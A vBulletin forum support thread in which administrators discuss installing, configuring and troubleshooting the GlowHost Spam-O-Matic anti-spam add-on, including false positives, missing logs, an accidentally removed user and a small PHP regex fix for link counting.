My question is, I'd like to give back and report those NOT caught to the maintainers of the database that Spam-O-Matic checks with. I record the username, email address, and reported IP address of each spammer that manages to get through the detection. I do't know if reporting these is worth while or not. I asked Glow Host this same question and they replied with an image of using the Moderation Tools and selecting the Spam-O-Matic radio button but that's assuming they got through and posted and I'm talking about those that get past the spam check but not by me and they never get to post.

Any email address of a POC I can get in touch with to submit this information to?

[dustoff99]

I believe Glow Host stated version 2.5 should allow you to report a sleeper. I am awaiting this update myself =]

[DaleM]

I believe Glow Host stated version 2.5 should allow you to report a sleeper. I am awaiting this update myself =]

Thank you. I'm sure it was asked/answered somewhere in the 63 previous pages but sifting through it all got to me after the first 20 or so. I don't know why Glow Host themselves couldn't have said that instead of directing me to some image showing the use of the Moderation Tools on an existing post when I wrote them. I just installed mine not log ago so I guess 2.0.2 is the latest and I'll have to wait.

Thanks again!

[GlowHost.com]

Hi Dale,

You could always read the FAQ instead of the 63 pages.

Sorry, it was me that sent you the image, there are 3 or 4 very redundant questions already addressed in the FAQ on the first page and I guess I missed the "NOT"part.Some of the users of this mod can't figure out how to use the mod tools thing to submit a spammer.

I thought that was your question and happened to have a screen shot available to answer what i thought was your question.

Please accept my apologies for not completely analyzing your private message. Just understand this is a free mod that covers a lot of forums and a lot of different skill levels in the technical department/forum admins.

What you want is scheduled. Thanks for posting this question again. I guess this question is on each of the 63 pages at least once. So hopefully people will start reading it. That or I will get tired of answering it and add this function. :)

Unfortunately coding addons is not our primary business and we have internal software updates that need "doing."

If I pull our programmers off our primary jobs to add functionality to this free mod, then it means out business has to wait on the cool things we are always adding for our internal customers.

That said, I have not forgotten about this function and it is on the list of updates for 2.5.

[The Rocketeer]

The readme file should have upgrade instructions.

sorry, but there are no "proper upgrade instructions, or detailed explanation there either.. it'd be good it it had that for us new guys at vb..

[TeknoSounds]

sorry, but there are no "proper upgrade instructions, or detailed explanation there either.. it'd be good it it had that for us new guys at vb..

What aren't you understanding...?
From the Readme:
2.1 IF UPGRADING FROM SPAM-O-MATIC VERSION 1:
Make sure to remove the following file before installing version 2
/forum/includes/xml/bitfield_glowhostspamomatic.xml

You stated you had v 1.2.7 or something like that, you will need to perform this step.

2.2. Upload content of the upload folder into you forum root folder*
The upload folder already contains folders that should match your forum structure...upload them here. If it asks to overwrite, do so.

2.3. Import product-glowhostspamomatic.xml into products (Located
at
AdminCP -> Plugin System -> Manage Products -> Add/Import Product)
Hope this is self-explanatory if you've been installing mods already.

All in all, its all in there, except the "overwrite files" but that is standard for upgrading mods...

[kwblue]

I'm not sure what the deal is... I'm on vBulletin 4.1.3 and it's not working at all :( I have it running and working on v.3.8.6 (different version of this) and it works great, but spam is just flying in even with the keywords listed in the settings :(

[MediaHound]

This plugin by default will assume that people who write an @ symbol are posting links.
So if a new member says "@Glow, I love your mod!", it will flag that as spam and put it in the moderation queue. Or if they say "I had a great time @ Disney last weekend.", etc. Anything with an @ is spam.
But wait, there's a fix!
In the plugin named "GlowHost - Spam-O-Matic: Replies Control" find this line:
$link_count += substr_count($this->fetch_field('pagetext', 'post'), '@');
replace it with:
if (preg_match('/\\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,4}\\b/i',$this->fetch_field('pagetext', 'post'),$m)) $link_count += count($m);

[Jeremy8]

Hello, could you explain more about what happens when it detects a spammer? What does it do with the account?

Also, I'm a little worried it might accidentally ban someone who is not actually a bot/spammer.

No one has answered this after a week.

[CharlieDelta]

I am having a problem with he statistics not showing and even stranger, no logs. I have searched through the threads and tried various things such as only checking ip and not username or emails.
I ran this product for 5 days with not one log entry. I disabled this last night and enabled vbstopforumspam and already have 20 log entries.
I really do like this mod it is fantastic.
I am stumped, am I missing something? What settings are others using that have log entries, if you would be so kind?

Thanks in advance.

[StonePilot]

Can I "un-delete" or "un-remove" a user?

For some reason that I have not identified yet, one of my best users had his user account wiped out. It's just gone. I found in the spam-o-matic log the following:


2011-05-11 09:29:59

68.209.95.99

user123

user123@bellsouth.net

User data submitted to Akismet database



2011-05-11 09:29:59

68.209.95.99

user123

user123@bellsouth.net

User data submitted to StopForumSpam.com database



2011-05-11 09:29:12

68.209.95.99

user123

user123@bellsouth.net

User data submitted to Akismet database



2011-05-11 09:29:12

68.209.95.99

user123

user123@bellsouth.net

User data submitted to StopForumSpam.com database


I guess this means that one of the mods probably went to delete something and hit "REMOVE USERS?" on the spam-o-matic screen?

Any way to get this back inside of this tool? I do a daily backup so I can pull just his user information out (I think???) and put it back in.

[StonePilot]

Can I "un-delete" or "un-remove" a user?

Ok, it looks like one of my mods made a MASSIVE error and tried to delete a post from a good user and ended up REMOVING USER though the spam-o-matic tool.

This is thousands of posts, hundreds of threads, blog posts, visitor messages, etc.

Anyway to get these back? My automatic backup tool grabbed a partial backup from about 3 hours before this happened, and a full backup about 27 hours before it happened, which is now 30 hours ago.

The reason for the detail in here is that I need to know how the posts and threads were deleted, are they just wiped out so I can add them back in with a SQL dump? Then SQL dump the user information back in as well?

[caracena]

Hi StonePilot,

How the posts are deleted and what happens to the uer itself, depends on how you set the options on the mod in your vBulletin's Control Panel.

I installed it recently, but set it to use the minimum security levels I could imagine, without leaving basic stuff on.

I would suggest you restore one of those two backups ASAP. Which one to use, depends on how important that user is. If it's way too important, simply restore the last complete one (done 30 hrs ago) and just make a public apologize to all your users. Things like this happens. Nothing we can do to prevent it sometimes. They will understand.

Cheers.

[caracena]

BTW what I don't know is what will happen to that specific user from now on. If his IP, address and username was sent to the spammers DBs, I think you will have to go to each one of those two sites and send a letter to their webmasters or something. I didn't see any "send good infor about this user to spammers lists" button anywhere in this addon.

[kwblue]

Any ideas yet on why it doesn't work at all for me? Like I mentioned before, it is working great on a 3.8.6 version of vB, but I can't get it to work at all for a 4.1.3 version and it's driving me crazy with all the spam coming in :( No logs, nothing.

Just not working :(

[caracena]

Any ideas yet on why it doesn't work at all for me? Like I mentioned before, it is working great on a 3.8.6 version of vB, but I can't get it to work at all for a 4.1.3 version and it's driving me crazy with all the spam coming in :( No logs, nothing.

Just not working :(

Did you try removing everything (files, product and plugins) for this mod and re-installing it?

[kwblue]

Yes, several times :(

[kwblue]

Turned my forum off for now :( I am guessing **X***Rum*er has hit it (sorry for the **, I don't want it to get any recognition).

What a pain! I am not sure why this mod is not working on my forum :(

[CharlieDelta]

What settings are others using that have log entries, if you would be so kind?

Thanks in advance.

Anyone?

[dustoff99]

Anyone?
Statistics & Logs > GlowHost - Spam-O-Matic Logs ?

Settings > GlowHost - Spam-O-Matic > StopForumSpam: Desired Action > Log and block registration ?

[GlowHost.com]

Hi, I installed Spam-O-Matic on my forum. It stopped all the spam but it was not allowing any new users to register and calling them all spammers. I changed the setting "What should happen if the new registration is listed in the StopForumSpam database" to "Log and continue with registration" and now people can register, but I have started getting spam again. Could you tell me how I can fix this problem?
Thanks

It sounds to me like you are not able to connect to the stopforumspam.com website. You may need to ask your host for assistance on why you cannot connect.

Hello, could you explain more about what happens when it detects a spammer? What does it do with the account?


It doesn't do anything with them that you do not specifically tell it to do with them. Check your settings. Then read the on-screen instructions/options when you choose the Spam-O-Matic option from the moderation tools menu.

[GlowHost.com]

What settings are others using that have log entries, if you would be so kind?

Thanks in advance.

The default settings should be fine and are made to work on 99% of forums.

[CharlieDelta]

Statistics & Logs > GlowHost - Spam-O-Matic Logs ?

Settings > GlowHost - Spam-O-Matic > StopForumSpam: Desired Action > Log and block registration ?
Thanks.

The default settings should be fine and are made to work on 99% of forums.
Will give it a try for another couple of days and report back here. vbstopforumspam has logged and average of 15 entries everyday since I enabled it again.

[GlowHost.com]

Will give it a try for another couple of days and report back here. vbstopforumspam has logged and average of 15 entries everyday since I enabled it again.

Thats because that older mod logs every user who tries to register, instead of only the ones that actually get past the built-in vB registration system.

In other words, you are seeing checks of bots who would never be able to register anyways because they are unable to complete the built-in vB reg system.

This mod only checks users who are able to get past vBulletin's registration system, which reduces the strain on the stopforumspam.com system and generally optimizes the way vbsfs was intended to work.

[CharlieDelta]

Thats because that older mod logs every user who tries to register, instead of only the ones that actually get past the built-in vB registration system.

In other words, you are seeing checks of bots who would never be able to register anyways because they are unable to complete the built-in vB reg system.

This mod only checks users who are able to get past vBulletin's registration system, which reduces the strain on the stopforumspam.com system and generally optimizes the way vbsfs was intended to work.
Ahhh. got yeah! Thank you.

[kwblue]

Well, I got no response so thought I would try something...

I completely removed vbulletin from the server, uploaded a fresh copy (4.1.3), re-uploaded the config file, and then reuploaded Spam-O-Matic. I can't tell if it is working yet, but will keep checking.

[caracena]

Well, I got no response so thought I would try something...

I completely removed vbulletin from the server, uploaded a fresh copy (4.1.3), re-uploaded the config file, and then reuploaded Spam-O-Matic. I can't tell if it is working yet, but will keep checking.
Easy... try creating a new user called "china". Trust me... it works!

[kwblue]

aw man... doesn't work still :( I'm really bummed. What could possibly be stopping it from working. Maybe I'll load the default vb template now and see what happens. Could that matter?

[kwblue]

Nope, that didn't help :( I registered the username china no problem after setting the default template back and removing the old template entirely :(

Seriously, what could stop this mod from working??? I can't even turn the forum on for 2 hours without having to deal with 50 posts (or more)

[kwblue]

I even have the footer links turned on and nothing shows :(

[doctorsexy]

All working with 4.1.3.... smashin .. thanks

[preemz10314]

Im a try this...i have been getting hit by spammers lately..somehow they are getting thru the human verification queestion

[w3rk3d]

Can I just say?...This mod is a lifesaver!!! I've been using it for a little over a month and it's caught nearly 500 spammers trying to register! Thanks!

[edyy]

This is the best script for spammer , I had the old version until a few days ago and i didn't have any problem not a single spammer passed. I upgraded to version 2.0.2 and the system is still doing his job but i have some spammer that pass the system .

My problem if I can say like this is that the menu from users where you had the option to submit to stopforumpost is not there anymore, How can i submit a new user or a new ip to the database ?

[TeknoSounds]

please go back and look at the FAQ on the first page, or posts within the last 5 pages of this thread...your answer lies there.

[edyy]

I have readed that FAQ and there it say that will be inserted from version 2.5, my question was if is any other way to submit a user or ip to the database until that version appears.

[Sarteck]

We had problems with lots of Bots registering, so we changed from our Q&A to reCAPTCHA. Instead of lessening the amount of Bots registering, it instead seemed to INCREASE--our simple Q&A was keeping out bots more than Google's reCAPTCHA!

After searching around, found this Mod and installed it, with mostly default settings. (Holy crap there are a lot of options you can set with this thing!) It's perfect! Been running a few days now, and not a single Bot has registered. I've even turned off Human Verification altogether for registration, and it's still keeping out the bots from the Akismet and StopForumSpam databases.

And the Newbie Group stuff... I love the concept, even though I'm not using it, yet! I actually discussed making something similar for our forum a while back, so that we can restrict "members" that sign up just to post a link or ten. I never actually went through with programming it, though... Great that now I don't even have to!

But I might not even need that, since you've included auto-moderation of posts with X amount of links from people with under X amount of posts! Truly awesome!

This Mod definitely deserves it's Mod of the Month award. :> Thanks, GlowHost!

[scottct1]

The past few days I have been having some a*hole spamming on my site.

After his first few times posting his URL, I added his URL to the censored list in vBulletin. So the idiot after making new accounts comes in and posts his crap but instead of posting the url instead he upload an image which is the url to his website. Or he posts a [ img ] tag.

I would love to see this mod updated to prevent attachments or using the img tag for x number of posts.

[Jeremy8]

It denied someone access to the registration page because the name they picked was pokemon. Why would it stop people with such a common word as their name?...

[Stefanus]

It denied someone access to the registration page because the name they picked was pokemon. Why would it stop people with such a common word as their name?...

Go to stopforumspam (http://www.stopforumspam.com/search.php) and search for "pokemon" the reason would be obvious. You can opt not to have usernames checked for known spammers.

A better way for this mod would be to check for "Username" AND "E-mail" AND "IP" and not "Username" OR "E-mail" OR "IP".

[BellyBelly]

This was working really well for us but we've had an increasing number of members unable to register in the forums as they are marked as spammers, incorrectly. I have had to disable it which is a big shame.

You cant get a key from stopforumspam as you get this msg:

Sorry
Due to abuse by certain people, we are currently limiting API signups to members of the forum. We are sorry that we have had to take this course of action but we hope to have things back to normal shortly

Its been like this since I originally installed it.

[shadowquest1]

i give it a shot i report in a few weeks on what i think

[donwon]

Sorry I am still a newbie but when it says to upload the files to the forum root does that mean I just upload the whole folder or do I upload each file?

Thanks.

[ForceHSS]

one thing needs added is in my settings new members need to confirm there email before they can use the forums but with this program they dont (seems to bypass that part) if you can add that option so this part will work

[caracena]

This was working really well for us but we've had an increasing number of members unable to register in the forums as they are marked as spammers, incorrectly. I have had to disable it which is a big shame.

You cant get a key from stopforumspam as you get this msg:

Sorry
Due to abuse by certain people, we are currently limiting API signups to members of the forum. We are sorry that we have had to take this course of action but we hope to have things back to normal shortly

Its been like this since I originally installed it.
Read the message. Just register in their forum and you can get an API.

one thing needs added is in my settings new members need to confirm there email before they can use the forums but with this program they dont (seems to bypass that part) if you can add that option so this part will work
It works for me. New users can sign up once this mod lets checks they are not spammers but they appear as "users waiting email confirmation" until they confirm it with the email they receive... like always.

Sorry I am still a newbie but when it says to upload the files to the forum root does that mean I just upload the whole folder or do I upload each file?

Thanks.
Not THE folder for this plugin. Upload the folders and files WITHIN this plugin's folder. In your FTP you will see a folder named admincp amongts other folders and files. That's your forum root. On your PC, grab all the folders and files from the addon and upload them in there as if you wanted to replace them... actually they will merge ;)

[ForceHSS]

I put them to Newbies group maybe this is why but they dont get any email any way to fix this

[BellyBelly]

I went to register a key after signing up to the forum:

Could not open socket

[ForceHSS]

strange does not seem to send out email to new user any one know how to fix this

[caracena]

I went to register a key after signing up to the forum:

Hmmm... I have bad memory so I'm not 100% sure of this but I think I remember clicking on some "Get API Key here" inside the forum itself. Not going back to the page propossed by the addon itself. It must be there and it should be working... I did it last week :P

[ForceHSS]

http://www.stopforumspam.com/
http://akismet.com/
get your api keys from here

[ForceHSS]

my email still does not work new members still dont get the email

[Sarteck]

@BellyBelly, caracena is correct--I got mine not more than three days ago, with no problem. :P

@GlowHost, I've got a problem. There are several "users" that I've programmed to make automated posts for various parts of our forum. I've placed the userids all into the Spam-O-Matic: Protect Users (as a comma-separated list). They also each have WELL over the number of posts in the Auto-Moderation: Minimum Post Count setting. However, they STILL get auto-moderated.

Am I misunderstanding the purpose of the settings and going about this the wrong way? I'd like to find out what it is I'm doing wrong, soon; those posts that keep getting auto-moderated are auto-posted for good reason. X3

[GlowHost.com]

Well, there was a bug in older versions which moderated RSS posts, are you running the latest version?

[Sarteck]

Yessir, just downloaded it from here three days ago.

[Sarteck]

If it matters at all about the content of the post, here is an example of one post it moderated (which I have since unmoderated):

http://www.clubbleach.org/forums/showthread.php?93000-Pirates-of-the-Caribbean-Hurt-amp-Heal-Black-Pearl-Crew&p=4634915&viewfull=1#post4634915

[GlowHost.com]

I am not really sure without knowing how you programmed the users. Assuming these users belong to the correct group, then they should be able to post, but again I don't know how you coded them to post so its hard to say for sure.

[Sarteck]

They do not belong to any special group--just registered users. They were previously able to post just fine.

I believe I've just found the "error," though, and it was nothing on your part. XD I used the wordlist that was linked in your setting for Auto-Moderation: Bad Words as an example. I did NOT read the bit on there which said that it over-rode the Post Count setting (I'd thought it was the other way around).

If that is the case, though, it ALSO over-rides the Spam-O-Matic: Protect Users setting, which I do not think was the intended behaviour, correct? Shouldn't that and the Protect Group settings take precedence over everything?

[GlowHost.com]

I will have to test it, but yes, you are right that protected users should have precedence over everything.

[Sarteck]

Ai'ight. It's probably just me doing something wrong, but do test it out when you get a chance just in case. :>

I don't really need the bad word list myself, and it does seem that was my issue, so I'm still cool.

[dcgaming17]

so i installed this today, and i already have it saying its blocked 24 spammers. is that normal? why is my site being attacked so much?

[Sarteck]

@dcgaming, I don't know if it's "normal," but I'm experiencing similar numbers. In the 3 or 4 hours before I installed this Mod, I had ten accounts register at my forum that were all Bots. @_@

I wasn't having such a huge problem before, so I'm thinking that lately there must have been increase in spammage, or something. (I'm not a Bot master, so I don't really know, heh.)




@GlowHost, I'm almost certain that the Auto-Moderation options are ignoring the values of the Protect Users setting. (I don't know about the Protect Groups, though, I haven't tested.) After clearing the "Bad Words" list, all of my auto-posting accounts were able to post normally except for one. That one that was still getting Moderated is exceeding the URL count in it's posts.

I am not using the Newbie Group option yet, and that might solve my problem (if I set it to only moderate users in the Newbie Group--right now, since I'm not using the Newbie Group, I don't have that option set). But the userids in the Protect Users -should- over-ride everything, not to mention each of those accounts has a post count greater than Auto-Moderation: Minimum Post Count. (I know the Bad Words list was not affected by post count, but the URL Count setting -should- take into account the post count, neh?)

If you can't replicate the error, then maybe I've done something wrong, or possibly some other plugin is interfering with yours. Let me know when you're done testing, 'kay?